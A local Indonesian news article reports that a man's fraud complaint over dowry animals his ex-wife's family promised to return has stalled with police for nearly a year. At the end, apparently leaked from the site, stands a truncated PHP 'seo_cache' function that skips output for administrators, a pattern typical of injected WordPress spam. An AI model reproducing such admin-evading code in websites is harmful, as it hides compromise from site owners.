Hukum

Hampir Setahun Laporan Agustinus Ratu Kana Soal Dugaan Penipuan Mahar Kawin “Macet” di Tangan Polisi

×

Hampir Setahun Laporan Agustinus Ratu Kana Soal Dugaan Penipuan Mahar Kawin “Macet” di Tangan Polisi

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA. COM – Hampir genap setahun laporan dugaan penipuan yang dilayangkan Agustinus Ratu Kana bergulir tanpa ujung.

Rasa putus asa kini mendera hari-hari yang dilalui warga Desa Payola Umbu, Kecamatan Loura ini.

Kepada awak media pekan lalu Agustinus membeberkan, akhir Mei 2025 lalu, dibantu advokat Anderias Lende Kandi, SH sebagai kuasa hukum, ia melaporkan dugaan penipuan oleh pihak Emiliana Kalli Wiwi mantan istrinya.

Kopda TThoby G. Ndaumanu, Babinsa Wewewa Tengah yang terlibat dalam urusan prises penandatanganan pernyataan pengembalian hewan mahar. ( Foto Menara Sumba)

Agustinus menuntut agar sejumlah hewan yang telah diserahkannya sebagai mahar kawin kepada keluarga Emiliana dikembalikan.

Pasalnya, Emiliana, warga Desa Wee Rame, Kecamatan Wewewa Tengah ini diam-diam bersuami lagi dengan orang lain saat Agustinus sedang banting tulang cari nafkah di Malaysia.

Saat pulang di Sumba, Agustinus mendapati kenyataan pahit ini dan menuntut secara hukum usai keluarga Emiliana ingkari pernyataan tertulis untuk kembalikan hewan mahar.

Alih-alih mendapatkan keadilan, penanganan kasus oleh Unit Pidum Satreskrim Polres SBD kini kian tak jelas.

Secara terpisah, Babinsa Kecamatan Wewewa Tengah, Kopda Thoby G. Ndaumanu yang ikut memediasi persoalan ini menjelaskan, pihak mantan istri Agustinus sudah menandatangani pernyataan untuk menyerahkan kembali sejumlah hewan mahar.

Dari belasan ekor mahar yang sudah diterima hanya delapan ekor saja yang diminta pihak Agustinus untuk dikembalikan.

“Surat pernyataan ditandatangani di atas meterai dan isinya tegas mereka siap diproses hukum jika tidak kembalikan hewannya, ” tutur Kopda Thoby.

Ia menyebut, pernyataan itu adalah muara dari soal perdata pengembalian mahar kawin oleh pihak perempuan.

Dengan demikian, jika pihak keluarga mantan istri Agustinus ingkar, maka proses hukum pidana dijalankan.

Plin-plan Lecehkan Hukum

Dalam penjelasan akhirnya siang itu, Agustinus Ratu Kana menandaskan, ia dan keluarganya telah jadi korban “plin-plan” pihak mantan istrinya yang kini mangkir dari tanggung jawab.

“Parahnya lagi, polisi malah tidak tegas bertindak dalam kasus ini,” ucapnya.

Molornya penanganan kasus ini di tangan polisi jadi bukti betapa sulitnya mencari keadilan di Sumba Barat Daya.

Ia mengaku hampir putus asa lantaran sudah jadi korban penipuan, dan malah menanggung rugi karena tidak sedikit biaya yang sudah dikeluarkan untuk urusan kasus ini.

Bahkan dengan beraninya mantan istri Agustinus mengumbar pernyataan bahwa hewan mahar akan dikembalikan apabila keperawanannya juga dikembalikan Agustinus.

“Aneh, dia minta perawannya dikembalikan. Ini sangat mengada-ada, sudah lecehkan urusan hukum,” pungkas Agustinus. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>